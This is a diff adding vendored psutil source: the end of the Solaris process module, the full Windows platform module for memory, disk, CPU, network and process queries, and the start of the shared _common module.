|
||||
raise
|
||||
|
||||
@wrap_exceptions
|
||||
def nice_set(self, value):
|
||||
if self.pid in (2, 3):
|
||||
# Special case PIDs: internally setpriority(3) return ESRCH
|
||||
# (no such process), no matter what.
|
||||
# The process actually exists though, as it has a name,
|
||||
# creation time, etc.
|
||||
raise AccessDenied(self.pid, self._name)
|
||||
return cext_posix.setpriority(self.pid, value)
|
||||
|
||||
@wrap_exceptions
|
||||
def ppid(self):
|
||||
return cext.proc_basic_info(self.pid)[0]
|
||||
|
||||
@wrap_exceptions
|
||||
def uids(self):
|
||||
real, effective, saved, _, _, _ = cext.proc_cred(self.pid)
|
||||
return _common.puids(real, effective, saved)
|
||||
|
||||
@wrap_exceptions
|
||||
def gids(self):
|
||||
_, _, _, real, effective, saved = cext.proc_cred(self.pid)
|
||||
return _common.puids(real, effective, saved)
|
||||
|
||||
@wrap_exceptions
|
||||
def cpu_times(self):
|
||||
user, system = cext.proc_cpu_times(self.pid)
|
||||
return _common.pcputimes(user, system)
|
||||
|
||||
@wrap_exceptions
|
||||
def terminal(self):
|
||||
hit_enoent = False
|
||||
tty = wrap_exceptions(
|
||||
cext.proc_basic_info(self.pid)[0])
|
||||
if tty != cext.PRNODEV:
|
||||
for x in (0, 1, 2, 255):
|
||||
try:
|
||||
return os.readlink('/proc/%d/path/%d' % (self.pid, x))
|
||||
except OSError as err:
|
||||
if err.errno == errno.ENOENT:
|
||||
hit_enoent = True
|
||||
continue
|
||||
raise
|
||||
if hit_enoent:
|
||||
# raise NSP if the process disappeared on us
|
||||
os.stat('/proc/%s' % self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def cwd(self):
|
||||
# /proc/PID/path/cwd may not be resolved by readlink() even if
|
||||
# it exists (ls shows it). If that's the case and the process
|
||||
# is still alive return None (we can return None also on BSD).
|
||||
# Reference: http://goo.gl/55XgO
|
||||
try:
|
||||
return os.readlink("/proc/%s/path/cwd" % self.pid)
|
||||
except OSError as err:
|
||||
if err.errno == errno.ENOENT:
|
||||
os.stat("/proc/%s" % self.pid)
|
||||
return None
|
||||
raise
|
||||
|
||||
@wrap_exceptions
|
||||
def memory_info(self):
|
||||
ret = cext.proc_basic_info(self.pid)
|
||||
rss, vms = ret[1] * 1024, ret[2] * 1024
|
||||
return _common.pmem(rss, vms)
|
||||
|
||||
# it seems Solaris uses rss and vms only
|
||||
memory_info_ex = memory_info
|
||||
|
||||
@wrap_exceptions
|
||||
def status(self):
|
||||
code = cext.proc_basic_info(self.pid)[6]
|
||||
# XXX is '?' legit? (we're not supposed to return it anyway)
|
||||
return PROC_STATUSES.get(code, '?')
|
||||
|
||||
@wrap_exceptions
|
||||
def threads(self):
|
||||
ret = []
|
||||
tids = os.listdir('/proc/%d/lwp' % self.pid)
|
||||
hit_enoent = False
|
||||
for tid in tids:
|
||||
tid = int(tid)
|
||||
try:
|
||||
utime, stime = cext.query_process_thread(
|
||||
self.pid, tid)
|
||||
except EnvironmentError as err:
|
||||
# ENOENT == thread gone in meantime
|
||||
if err.errno == errno.ENOENT:
|
||||
hit_enoent = True
|
||||
continue
|
||||
raise
|
||||
else:
|
||||
nt = _common.pthread(tid, utime, stime)
|
||||
ret.append(nt)
|
||||
if hit_enoent:
|
||||
# raise NSP if the process disappeared on us
|
||||
os.stat('/proc/%s' % self.pid)
|
||||
return ret
|
||||
|
||||
@wrap_exceptions
|
||||
def open_files(self):
|
||||
retlist = []
|
||||
hit_enoent = False
|
||||
pathdir = '/proc/%d/path' % self.pid
|
||||
for fd in os.listdir('/proc/%d/fd' % self.pid):
|
||||
path = os.path.join(pathdir, fd)
|
||||
if os.path.islink(path):
|
||||
try:
|
||||
file = os.readlink(path)
|
||||
except OSError as err:
|
||||
# ENOENT == file which is gone in the meantime
|
||||
if err.errno == errno.ENOENT:
|
||||
hit_enoent = True
|
||||
continue
|
||||
raise
|
||||
else:
|
||||
if isfile_strict(file):
|
||||
retlist.append(_common.popenfile(file, int(fd)))
|
||||
if hit_enoent:
|
||||
# raise NSP if the process disappeared on us
|
||||
os.stat('/proc/%s' % self.pid)
|
||||
return retlist
|
||||
|
||||
def _get_unix_sockets(self, pid):
|
||||
"""Get UNIX sockets used by process by parsing 'pfiles' output."""
|
||||
# TODO: rewrite this in C (...but the damn netstat source code
|
||||
# does not include this part! Argh!!)
|
||||
cmd = "pfiles %s" % pid
|
||||
p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE)
|
||||
stdout, stderr = p.communicate()
|
||||
if PY3:
|
||||
stdout, stderr = [x.decode(sys.stdout.encoding)
|
||||
for x in (stdout, stderr)]
|
||||
if p.returncode != 0:
|
||||
if 'permission denied' in stderr.lower():
|
||||
raise AccessDenied(self.pid, self._name)
|
||||
if 'no such process' in stderr.lower():
|
||||
raise NoSuchProcess(self.pid, self._name)
|
||||
raise RuntimeError("%r command error\n%s" % (cmd, stderr))
|
||||
|
||||
lines = stdout.split('\n')[2:]
|
||||
for i, line in enumerate(lines):
|
||||
line = line.lstrip()
|
||||
if line.startswith('sockname: AF_UNIX'):
|
||||
path = line.split(' ', 2)[2]
|
||||
type = lines[i - 2].strip()
|
||||
if type == 'SOCK_STREAM':
|
||||
type = socket.SOCK_STREAM
|
||||
elif type == 'SOCK_DGRAM':
|
||||
type = socket.SOCK_DGRAM
|
||||
else:
|
||||
type = -1
|
||||
yield (-1, socket.AF_UNIX, type, path, "", _common.CONN_NONE)
|
||||
|
||||
@wrap_exceptions
|
||||
def connections(self, kind='inet'):
|
||||
ret = net_connections(kind, _pid=self.pid)
|
||||
# The underlying C implementation retrieves all OS connections
|
||||
# and filters them by PID. At this point we can't tell whether
|
||||
# an empty list means there were no connections for process or
|
||||
# process is no longer active so we force NSP in case the PID
|
||||
# is no longer there.
|
||||
if not ret:
|
||||
os.stat('/proc/%s' % self.pid) # will raise NSP if process is gone
|
||||
|
||||
# UNIX sockets
|
||||
if kind in ('all', 'unix'):
|
||||
ret.extend([_common.pconn(*conn) for conn in
|
||||
self._get_unix_sockets(self.pid)])
|
||||
return ret
|
||||
|
||||
nt_mmap_grouped = namedtuple('mmap', 'path rss anon locked')
|
||||
nt_mmap_ext = namedtuple('mmap', 'addr perms path rss anon locked')
|
||||
|
||||
@wrap_exceptions
|
||||
def memory_maps(self):
|
||||
def toaddr(start, end):
|
||||
return '%s-%s' % (hex(start)[2:].strip('L'),
|
||||
hex(end)[2:].strip('L'))
|
||||
|
||||
retlist = []
|
||||
rawlist = cext.proc_memory_maps(self.pid)
|
||||
hit_enoent = False
|
||||
for item in rawlist:
|
||||
addr, addrsize, perm, name, rss, anon, locked = item
|
||||
addr = toaddr(addr, addrsize)
|
||||
if not name.startswith('['):
|
||||
try:
|
||||
name = os.readlink('/proc/%s/path/%s' % (self.pid, name))
|
||||
except OSError as err:
|
||||
if err.errno == errno.ENOENT:
|
||||
# sometimes the link may not be resolved by
|
||||
# readlink() even if it exists (ls shows it).
|
||||
# If that's the case we just return the
|
||||
# unresolved link path.
|
||||
# This seems an incosistency with /proc similar
|
||||
# to: http://goo.gl/55XgO
|
||||
name = '/proc/%s/path/%s' % (self.pid, name)
|
||||
hit_enoent = True
|
||||
else:
|
||||
raise
|
||||
retlist.append((addr, perm, name, rss, anon, locked))
|
||||
if hit_enoent:
|
||||
# raise NSP if the process disappeared on us
|
||||
os.stat('/proc/%s' % self.pid)
|
||||
return retlist
|
||||
|
||||
@wrap_exceptions
|
||||
def num_fds(self):
|
||||
return len(os.listdir("/proc/%s/fd" % self.pid))
|
||||
|
||||
@wrap_exceptions
|
||||
def num_ctx_switches(self):
|
||||
return _common.pctxsw(*cext.proc_num_ctx_switches(self.pid))
|
||||
|
||||
@wrap_exceptions
|
||||
def wait(self, timeout=None):
|
||||
try:
|
||||
return _psposix.wait_pid(self.pid, timeout)
|
||||
except _psposix.TimeoutExpired:
|
||||
# support for private module import
|
||||
if TimeoutExpired is None:
|
||||
raise
|
||||
raise TimeoutExpired(timeout, self.pid, self._name)
|
|
@ -0,0 +1,584 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
|
||||
# Use of this source code is governed by a BSD-style license that can be
|
||||
# found in the LICENSE file.
|
||||
|
||||
"""Windows platform implementation."""
|
||||
|
||||
import errno
|
||||
import functools
|
||||
import os
|
||||
import sys
|
||||
from collections import namedtuple
|
||||
|
||||
from . import _common
|
||||
from . import _psutil_windows as cext
|
||||
from ._common import conn_tmap, usage_percent, isfile_strict
|
||||
from ._common import sockfam_to_enum, socktype_to_enum
|
||||
from ._compat import PY3, xrange, lru_cache, long
|
||||
from ._psutil_windows import (ABOVE_NORMAL_PRIORITY_CLASS,
|
||||
BELOW_NORMAL_PRIORITY_CLASS,
|
||||
HIGH_PRIORITY_CLASS,
|
||||
IDLE_PRIORITY_CLASS,
|
||||
NORMAL_PRIORITY_CLASS,
|
||||
REALTIME_PRIORITY_CLASS)
|
||||
|
||||
if sys.version_info >= (3, 4):
|
||||
import enum
|
||||
else:
|
||||
enum = None
|
||||
|
||||
# process priority constants, import from __init__.py:
|
||||
# http://msdn.microsoft.com/en-us/library/ms686219(v=vs.85).aspx
|
||||
__extra__all__ = ["ABOVE_NORMAL_PRIORITY_CLASS", "BELOW_NORMAL_PRIORITY_CLASS",
|
||||
"HIGH_PRIORITY_CLASS", "IDLE_PRIORITY_CLASS",
|
||||
"NORMAL_PRIORITY_CLASS", "REALTIME_PRIORITY_CLASS",
|
||||
"CONN_DELETE_TCB",
|
||||
"AF_LINK",
|
||||
]
|
||||
|
||||
# --- module level constants (gets pushed up to psutil module)
|
||||
|
||||
CONN_DELETE_TCB = "DELETE_TCB"
|
||||
WAIT_TIMEOUT = 0x00000102 # 258 in decimal
|
||||
ACCESS_DENIED_SET = frozenset([errno.EPERM, errno.EACCES,
|
||||
cext.ERROR_ACCESS_DENIED])
|
||||
if enum is None:
|
||||
AF_LINK = -1
|
||||
else:
|
||||
AddressFamily = enum.IntEnum('AddressFamily', {'AF_LINK': -1})
|
||||
AF_LINK = AddressFamily.AF_LINK
|
||||
|
||||
TCP_STATUSES = {
|
||||
cext.MIB_TCP_STATE_ESTAB: _common.CONN_ESTABLISHED,
|
||||
cext.MIB_TCP_STATE_SYN_SENT: _common.CONN_SYN_SENT,
|
||||
cext.MIB_TCP_STATE_SYN_RCVD: _common.CONN_SYN_RECV,
|
||||
cext.MIB_TCP_STATE_FIN_WAIT1: _common.CONN_FIN_WAIT1,
|
||||
cext.MIB_TCP_STATE_FIN_WAIT2: _common.CONN_FIN_WAIT2,
|
||||
cext.MIB_TCP_STATE_TIME_WAIT: _common.CONN_TIME_WAIT,
|
||||
cext.MIB_TCP_STATE_CLOSED: _common.CONN_CLOSE,
|
||||
cext.MIB_TCP_STATE_CLOSE_WAIT: _common.CONN_CLOSE_WAIT,
|
||||
cext.MIB_TCP_STATE_LAST_ACK: _common.CONN_LAST_ACK,
|
||||
cext.MIB_TCP_STATE_LISTEN: _common.CONN_LISTEN,
|
||||
cext.MIB_TCP_STATE_CLOSING: _common.CONN_CLOSING,
|
||||
cext.MIB_TCP_STATE_DELETE_TCB: CONN_DELETE_TCB,
|
||||
cext.PSUTIL_CONN_NONE: _common.CONN_NONE,
|
||||
}
|
||||
|
||||
if enum is not None:
|
||||
class Priority(enum.IntEnum):
|
||||
ABOVE_NORMAL_PRIORITY_CLASS = ABOVE_NORMAL_PRIORITY_CLASS
|
||||
BELOW_NORMAL_PRIORITY_CLASS = BELOW_NORMAL_PRIORITY_CLASS
|
||||
HIGH_PRIORITY_CLASS = HIGH_PRIORITY_CLASS
|
||||
IDLE_PRIORITY_CLASS = IDLE_PRIORITY_CLASS
|
||||
NORMAL_PRIORITY_CLASS = NORMAL_PRIORITY_CLASS
|
||||
REALTIME_PRIORITY_CLASS = REALTIME_PRIORITY_CLASS
|
||||
|
||||
globals().update(Priority.__members__)
|
||||
|
||||
scputimes = namedtuple('scputimes', ['user', 'system', 'idle'])
|
||||
svmem = namedtuple('svmem', ['total', 'available', 'percent', 'used', 'free'])
|
||||
pextmem = namedtuple(
|
||||
'pextmem', ['num_page_faults', 'peak_wset', 'wset', 'peak_paged_pool',
|
||||
'paged_pool', 'peak_nonpaged_pool', 'nonpaged_pool',
|
||||
'pagefile', 'peak_pagefile', 'private'])
|
||||
pmmap_grouped = namedtuple('pmmap_grouped', ['path', 'rss'])
|
||||
pmmap_ext = namedtuple(
|
||||
'pmmap_ext', 'addr perms ' + ' '.join(pmmap_grouped._fields))
|
||||
ntpinfo = namedtuple(
|
||||
'ntpinfo', ['num_handles', 'ctx_switches', 'user_time', 'kernel_time',
|
||||
'create_time', 'num_threads', 'io_rcount', 'io_wcount',
|
||||
'io_rbytes', 'io_wbytes'])
|
||||
|
||||
# set later from __init__.py
|
||||
NoSuchProcess = None
|
||||
AccessDenied = None
|
||||
TimeoutExpired = None
|
||||
|
||||
|
||||
@lru_cache(maxsize=512)
|
||||
def _win32_QueryDosDevice(s):
|
||||
return cext.win32_QueryDosDevice(s)
|
||||
|
||||
|
||||
def _convert_raw_path(s):
|
||||
# convert paths using native DOS format like:
|
||||
# "\Device\HarddiskVolume1\Windows\systemew\file.txt"
|
||||
# into: "C:\Windows\systemew\file.txt"
|
||||
if PY3 and not isinstance(s, str):
|
||||
s = s.decode('utf8')
|
||||
rawdrive = '\\'.join(s.split('\\')[:3])
|
||||
driveletter = _win32_QueryDosDevice(rawdrive)
|
||||
return os.path.join(driveletter, s[len(rawdrive):])
|
||||
|
||||
|
||||
def py2_strencode(s, encoding=sys.getfilesystemencoding()):
|
||||
if PY3 or isinstance(s, str):
|
||||
return s
|
||||
else:
|
||||
try:
|
||||
return s.encode(encoding)
|
||||
except UnicodeEncodeError:
|
||||
# Filesystem codec failed, return the plain unicode
|
||||
# string (this should never happen).
|
||||
return s
|
||||
|
||||
|
||||
# --- public functions
|
||||
|
||||
|
||||
def virtual_memory():
|
||||
"""System virtual memory as a namedtuple."""
|
||||
mem = cext.virtual_mem()
|
||||
totphys, availphys, totpagef, availpagef, totvirt, freevirt = mem
|
||||
#
|
||||
total = totphys
|
||||
avail = availphys
|
||||
free = availphys
|
||||
used = total - avail
|
||||
percent = usage_percent((total - avail), total, _round=1)
|
||||
return svmem(total, avail, percent, used, free)
|
||||
|
||||
|
||||
def swap_memory():
|
||||
"""Swap system memory as a (total, used, free, sin, sout) tuple."""
|
||||
mem = cext.virtual_mem()
|
||||
total = mem[2]
|
||||
free = mem[3]
|
||||
used = total - free
|
||||
percent = usage_percent(used, total, _round=1)
|
||||
return _common.sswap(total, used, free, percent, 0, 0)
|
||||
|
||||
|
||||
def disk_usage(path):
|
||||
"""Return disk usage associated with path."""
|
||||
try:
|
||||
total, free = cext.disk_usage(path)
|
||||
except WindowsError:
|
||||
if not os.path.exists(path):
|
||||
msg = "No such file or directory: '%s'" % path
|
||||
raise OSError(errno.ENOENT, msg)
|
||||
raise
|
||||
used = total - free
|
||||
percent = usage_percent(used, total, _round=1)
|
||||
return _common.sdiskusage(total, used, free, percent)
|
||||
|
||||
|
||||
def disk_partitions(all):
|
||||
"""Return disk partitions."""
|
||||
rawlist = cext.disk_partitions(all)
|
||||
return [_common.sdiskpart(*x) for x in rawlist]
|
||||
|
||||
|
||||
def cpu_times():
|
||||
"""Return system CPU times as a named tuple."""
|
||||
user, system, idle = cext.cpu_times()
|
||||
return scputimes(user, system, idle)
|
||||
|
||||
|
||||
def per_cpu_times():
|
||||
"""Return system per-CPU times as a list of named tuples."""
|
||||
ret = []
|
||||
for cpu_t in cext.per_cpu_times():
|
||||
user, system, idle = cpu_t
|
||||
item = scputimes(user, system, idle)
|
||||
ret.append(item)
|
||||
return ret
|
||||
|
||||
|
||||
def cpu_count_logical():
|
||||
"""Return the number of logical CPUs in the system."""
|
||||
return cext.cpu_count_logical()
|
||||
|
||||
|
||||
def cpu_count_physical():
|
||||
"""Return the number of physical CPUs in the system."""
|
||||
return cext.cpu_count_phys()
|
||||
|
||||
|
||||
def boot_time():
|
||||
"""The system boot time expressed in seconds since the epoch."""
|
||||
return cext.boot_time()
|
||||
|
||||
|
||||
def net_connections(kind, _pid=-1):
|
||||
"""Return socket connections. If pid == -1 return system-wide
|
||||
connections (as opposed to connections opened by one process only).
|
||||
"""
|
||||
if kind not in conn_tmap:
|
||||
raise ValueError("invalid %r kind argument; choose between %s"
|
||||
% (kind, ', '.join([repr(x) for x in conn_tmap])))
|
||||
families, types = conn_tmap[kind]
|
||||
rawlist = cext.net_connections(_pid, families, types)
|
||||
ret = set()
|
||||
for item in rawlist:
|
||||
fd, fam, type, laddr, raddr, status, pid = item
|
||||
status = TCP_STATUSES[status]
|
||||
fam = sockfam_to_enum(fam)
|
||||
type = socktype_to_enum(type)
|
||||
if _pid == -1:
|
||||
nt = _common.sconn(fd, fam, type, laddr, raddr, status, pid)
|
||||
else:
|
||||
nt = _common.pconn(fd, fam, type, laddr, raddr, status)
|
||||
ret.add(nt)
|
||||
return list(ret)
|
||||
|
||||
|
||||
def net_if_stats():
|
||||
ret = cext.net_if_stats()
|
||||
for name, items in ret.items():
|
||||
name = py2_strencode(name)
|
||||
isup, duplex, speed, mtu = items
|
||||
if hasattr(_common, 'NicDuplex'):
|
||||
duplex = _common.NicDuplex(duplex)
|
||||
ret[name] = _common.snicstats(isup, duplex, speed, mtu)
|
||||
return ret
|
||||
|
||||
|
||||
def net_io_counters():
|
||||
ret = cext.net_io_counters()
|
||||
return dict([(py2_strencode(k), v) for k, v in ret.items()])
|
||||
|
||||
|
||||
def net_if_addrs():
|
||||
ret = []
|
||||
for items in cext.net_if_addrs():
|
||||
items = list(items)
|
||||
items[0] = py2_strencode(items[0])
|
||||
ret.append(items)
|
||||
return ret
|
||||
|
||||
|
||||
def users():
|
||||
"""Return currently connected users as a list of namedtuples."""
|
||||
retlist = []
|
||||
rawlist = cext.users()
|
||||
for item in rawlist:
|
||||
user, hostname, tstamp = item
|
||||
user = py2_strencode(user)
|
||||
nt = _common.suser(user, None, hostname, tstamp)
|
||||
retlist.append(nt)
|
||||
return retlist
|
||||
|
||||
|
||||
pids = cext.pids
|
||||
pid_exists = cext.pid_exists
|
||||
disk_io_counters = cext.disk_io_counters
|
||||
ppid_map = cext.ppid_map # not meant to be public
|
||||
|
||||
|
||||
def wrap_exceptions(fun):
|
||||
"""Decorator which translates bare OSError and WindowsError
|
||||
exceptions into NoSuchProcess and AccessDenied.
|
||||
"""
|
||||
@functools.wraps(fun)
|
||||
def wrapper(self, *args, **kwargs):
|
||||
try:
|
||||
return fun(self, *args, **kwargs)
|
||||
except OSError as err:
|
||||
# support for private module import
|
||||
if NoSuchProcess is None or AccessDenied is None:
|
||||
raise
|
||||
if err.errno in ACCESS_DENIED_SET:
|
||||
raise AccessDenied(self.pid, self._name)
|
||||
if err.errno == errno.ESRCH:
|
||||
raise NoSuchProcess(self.pid, self._name)
|
||||
raise
|
||||
return wrapper
|
||||
|
||||
|
||||
class Process(object):
|
||||
"""Wrapper class around underlying C implementation."""
|
||||
|
||||
__slots__ = ["pid", "_name", "_ppid"]
|
||||
|
||||
def __init__(self, pid):
|
||||
self.pid = pid
|
||||
self._name = None
|
||||
self._ppid = None
|
||||
|
||||
@wrap_exceptions
|
||||
def name(self):
|
||||
"""Return process name, which on Windows is always the final
|
||||
part of the executable.
|
||||
"""
|
||||
# This is how PIDs 0 and 4 are always represented in taskmgr
|
||||
# and process-hacker.
|
||||
if self.pid == 0:
|
||||
return "System Idle Process"
|
||||
elif self.pid == 4:
|
||||
return "System"
|
||||
else:
|
||||
try:
|
||||
# Note: this will fail with AD for most PIDs owned
|
||||
# by another user but it's faster.
|
||||
return py2_strencode(os.path.basename(self.exe()))
|
||||
except AccessDenied:
|
||||
return py2_strencode(cext.proc_name(self.pid))
|
||||
|
||||
@wrap_exceptions
|
||||
def exe(self):
|
||||
# Note: os.path.exists(path) may return False even if the file
|
||||
# is there, see:
|
||||
# http://stackoverflow.com/questions/3112546/os-path-exists-lies
|
||||
|
||||
# see https://github.com/giampaolo/psutil/issues/414
|
||||
# see https://github.com/giampaolo/psutil/issues/528
|
||||
if self.pid in (0, 4):
|
||||
raise AccessDenied(self.pid, self._name)
|
||||
return py2_strencode(_convert_raw_path(cext.proc_exe(self.pid)))
|
||||
|
||||
@wrap_exceptions
|
||||
def cmdline(self):
|
||||
ret = cext.proc_cmdline(self.pid)
|
||||
if PY3:
|
||||
return ret
|
||||
else:
|
||||
return [py2_strencode(s) for s in ret]
|
||||
|
||||
def ppid(self):
|
||||
try:
|
||||
return ppid_map()[self.pid]
|
||||
except KeyError:
|
||||
raise NoSuchProcess(self.pid, self._name)
|
||||
|
||||
def _get_raw_meminfo(self):
|
||||
try:
|
||||
return cext.proc_memory_info(self.pid)
|
||||
except OSError as err:
|
||||
if err.errno in ACCESS_DENIED_SET:
|
||||
# TODO: the C ext can probably be refactored in order
|
||||
# to get this from cext.proc_info()
|
||||
return cext.proc_memory_info_2(self.pid)
|
||||
raise
|
||||
|
||||
@wrap_exceptions
|
||||
def memory_info(self):
|
||||
# on Windows RSS == WorkingSetSize and VSM == PagefileUsage
|
||||
# fields of PROCESS_MEMORY_COUNTERS struct:
|
||||
# http://msdn.microsoft.com/en-us/library/windows/desktop/
|
||||
# ms684877(v=vs.85).aspx
|
||||
t = self._get_raw_meminfo()
|
||||
return _common.pmem(t[2], t[7])
|
||||
|
||||
@wrap_exceptions
|
||||
def memory_info_ex(self):
|
||||
return pextmem(*self._get_raw_meminfo())
|
||||
|
||||
def memory_maps(self):
|
||||
try:
|
||||
raw = cext.proc_memory_maps(self.pid)
|
||||
except OSError as err:
|
||||
# XXX - can't use wrap_exceptions decorator as we're
|
||||
# returning a generator; probably needs refactoring.
|
||||
if err.errno in ACCESS_DENIED_SET:
|
||||
raise AccessDenied(self.pid, self._name)
|
||||
if err.errno == errno.ESRCH:
|
||||
raise NoSuchProcess(self.pid, self._name)
|
||||
raise
|
||||
else:
|
||||
for addr, perm, path, rss in raw:
|
||||
path = _convert_raw_path(path)
|
||||
addr = hex(addr)
|
||||
yield (addr, perm, path, rss)
|
||||
|
||||
@wrap_exceptions
|
||||
def kill(self):
|
||||
return cext.proc_kill(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def send_signal(self, sig):
|
||||
os.kill(self.pid, sig)
|
||||
|
||||
@wrap_exceptions
|
||||
def wait(self, timeout=None):
|
||||
if timeout is None:
|
||||
timeout = cext.INFINITE
|
||||
else:
|
||||
# WaitForSingleObject() expects time in milliseconds
|
||||
timeout = int(timeout * 1000)
|
||||
ret = cext.proc_wait(self.pid, timeout)
|
||||
if ret == WAIT_TIMEOUT:
|
||||
# support for private module import
|
||||
if TimeoutExpired is None:
|
||||
raise RuntimeError("timeout expired")
|
||||
raise TimeoutExpired(timeout, self.pid, self._name)
|
||||
return ret
|
||||
|
||||
@wrap_exceptions
|
||||
def username(self):
|
||||
if self.pid in (0, 4):
|
||||
return 'NT AUTHORITY\\SYSTEM'
|
||||
return cext.proc_username(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def create_time(self):
|
||||
# special case for kernel process PIDs; return system boot time
|
||||
if self.pid in (0, 4):
|
||||
return boot_time()
|
||||
try:
|
||||
return cext.proc_create_time(self.pid)
|
||||
except OSError as err:
|
||||
if err.errno in ACCESS_DENIED_SET:
|
||||
return ntpinfo(*cext.proc_info(self.pid)).create_time
|
||||
raise
|
||||
|
||||
@wrap_exceptions
|
||||
def num_threads(self):
|
||||
return ntpinfo(*cext.proc_info(self.pid)).num_threads
|
||||
|
||||
@wrap_exceptions
|
||||
def threads(self):
|
||||
rawlist = cext.proc_threads(self.pid)
|
||||
retlist = []
|
||||
for thread_id, utime, stime in rawlist:
|
||||
ntuple = _common.pthread(thread_id, utime, stime)
|
||||
retlist.append(ntuple)
|
||||
return retlist
|
||||
|
||||
@wrap_exceptions
|
||||
def cpu_times(self):
|
||||
try:
|
||||
ret = cext.proc_cpu_times(self.pid)
|
||||
except OSError as err:
|
||||
if err.errno in ACCESS_DENIED_SET:
|
||||
nt = ntpinfo(*cext.proc_info(self.pid))
|
||||
ret = (nt.user_time, nt.kernel_time)
|
||||
else:
|
||||
raise
|
||||
return _common.pcputimes(*ret)
|
||||
|
||||
@wrap_exceptions
|
||||
def suspend(self):
|
||||
return cext.proc_suspend(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def resume(self):
|
||||
return cext.proc_resume(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def cwd(self):
|
||||
if self.pid in (0, 4):
|
||||
raise AccessDenied(self.pid, self._name)
|
||||
# return a normalized pathname since the native C function appends
|
||||
# "\\" at the and of the path
|
||||
path = cext.proc_cwd(self.pid)
|
||||
return py2_strencode(os.path.normpath(path))
|
||||
|
||||
@wrap_exceptions
|
||||
def open_files(self):
|
||||
if self.pid in (0, 4):
|
||||
return []
|
||||
ret = set()
|
||||
# Filenames come in in native format like:
|
||||
# "\Device\HarddiskVolume1\Windows\systemew\file.txt"
|
||||
# Convert the first part in the corresponding drive letter
|
||||
# (e.g. "C:\") by using Windows's QueryDosDevice()
|
||||
raw_file_names = cext.proc_open_files(self.pid)
|
||||
for _file in raw_file_names:
|
||||
_file = _convert_raw_path(_file)
|
||||
if isfile_strict(_file):
|
||||
if not PY3:
|
||||
_file = py2_strencode(_file)
|
||||
ntuple = _common.popenfile(_file, -1)
|
||||
ret.add(ntuple)
|
||||
return list(ret)
|
||||
|
||||
@wrap_exceptions
|
||||
def connections(self, kind='inet'):
|
||||
return net_connections(kind, _pid=self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def nice_get(self):
|
||||
value = cext.proc_priority_get(self.pid)
|
||||
if enum is not None:
|
||||
value = Priority(value)
|
||||
return value
|
||||
|
||||
@wrap_exceptions
|
||||
def nice_set(self, value):
|
||||
return cext.proc_priority_set(self.pid, value)
|
||||
|
||||
# available on Windows >= Vista
|
||||
if hasattr(cext, "proc_io_priority_get"):
|
||||
@wrap_exceptions
|
||||
def ionice_get(self):
|
||||
return cext.proc_io_priority_get(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def ionice_set(self, value, _):
|
||||
if _:
|
||||
raise TypeError("set_proc_ionice() on Windows takes only "
|
||||
"1 argument (2 given)")
|
||||
if value not in (2, 1, 0):
|
||||
raise ValueError("value must be 2 (normal), 1 (low) or 0 "
|
||||
"(very low); got %r" % value)
|
||||
return cext.proc_io_priority_set(self.pid, value)
|
||||
|
||||
@wrap_exceptions
|
||||
def io_counters(self):
|
||||
try:
|
||||
ret = cext.proc_io_counters(self.pid)
|
||||
except OSError as err:
|
||||
if err.errno in ACCESS_DENIED_SET:
|
||||
nt = ntpinfo(*cext.proc_info(self.pid))
|
||||
ret = (nt.io_rcount, nt.io_wcount, nt.io_rbytes, nt.io_wbytes)
|
||||
else:
|
||||
raise
|
||||
return _common.pio(*ret)
|
||||
|
||||
@wrap_exceptions
|
||||
def status(self):
|
||||
suspended = cext.proc_is_suspended(self.pid)
|
||||
if suspended:
|
||||
return _common.STATUS_STOPPED
|
||||
else:
|
||||
return _common.STATUS_RUNNING
|
||||
|
||||
@wrap_exceptions
|
||||
def cpu_affinity_get(self):
|
||||
def from_bitmask(x):
|
||||
return [i for i in xrange(64) if (1 << i) & x]
|
||||
bitmask = cext.proc_cpu_affinity_get(self.pid)
|
||||
return from_bitmask(bitmask)
|
||||
|
||||
@wrap_exceptions
|
||||
def cpu_affinity_set(self, value):
|
||||
def to_bitmask(l):
|
||||
if not l:
|
||||
raise ValueError("invalid argument %r" % l)
|
||||
out = 0
|
||||
for b in l:
|
||||
out |= 2 ** b
|
||||
return out
|
||||
|
||||
# SetProcessAffinityMask() states that ERROR_INVALID_PARAMETER
|
||||
# is returned for an invalid CPU but this seems not to be true,
|
||||
# therefore we check CPUs validy beforehand.
|
||||
allcpus = list(range(len(per_cpu_times())))
|
||||
for cpu in value:
|
||||
if cpu not in allcpus:
|
||||
if not isinstance(cpu, (int, long)):
|
||||
raise TypeError(
|
||||
"invalid CPU %r; an integer is required" % cpu)
|
||||
else:
|
||||
raise ValueError("invalid CPU %r" % cpu)
|
||||
|
||||
bitmask = to_bitmask(value)
|
||||
cext.proc_cpu_affinity_set(self.pid, bitmask)
|
||||
|
||||
@wrap_exceptions
|
||||
def num_handles(self):
|
||||
try:
|
||||
return cext.proc_num_handles(self.pid)
|
||||
except OSError as err:
|
||||
if err.errno in ACCESS_DENIED_SET:
|
||||
return ntpinfo(*cext.proc_info(self.pid)).num_handles
|
||||
raise
|
||||
|
||||
@wrap_exceptions
|
||||
def num_ctx_switches(self):
|
||||
ctx_switches = ntpinfo(*cext.proc_info(self.pid)).ctx_switches
|
||||
# only voluntary ctx switches are supported
|
||||
return _common.pctxsw(ctx_switches, 0)
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,246 @@
|
|||
# /usr/bin/env python
|
||||
|
||||
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
|
||||
# Use of this source code is governed by a BSD-style license that can be
|
||||
# found in the LICENSE file.
|
||||
|
||||
"""Common objects shared by all _ps* modules."""
|
||||
|
||||
from __future__ import division
|
||||
import errno
|
||||
import functools
|
||||
import os
|
||||
import socket
|
||||
import stat
|
||||
import sys
|
||||
from collections import namedtuple
|
||||
from socket import AF_INET, SOCK_STREAM, SOCK_DGRAM
|
||||
try:
|
||||
import threading
|
||||
except ImportError:
|
||||
import dummy_threading as threading
|
||||
|
||||
if sys.version_info >= (3, 4):
|
||||
import enum
|
||||
else:
|
||||
enum = None
|
||||
|
||||
|
||||
# --- constants
|
||||
|
||||
